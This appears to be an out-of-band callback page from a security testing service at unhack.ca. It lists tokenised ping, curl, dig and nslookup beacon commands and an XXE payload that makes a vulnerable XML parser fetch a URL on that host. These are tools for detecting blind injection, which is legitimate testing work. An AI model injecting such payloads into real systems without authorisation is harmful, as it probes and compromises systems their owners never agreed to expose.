$ ping -c1 -p 008494e0e600d60ff0cfd07aa9892f00 unhack.ca
 
$ curl http://unhack.ca/p/8494e0e600d60ff0cfd07aa9892f
 
$ dig 8494e0e600d60ff0cfd07aa9892f @unhack.ca
 
$ dig 8494e0e600d60ff0cfd07aa9892f.ns.unhack.ca
 
C:\> nslookup 8494e0e600d60ff0cfd07aa9892f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8494e0e600d60ff0cfd07aa9892f">]>
    <foo>&xxe;</foo>
Waiting for ping...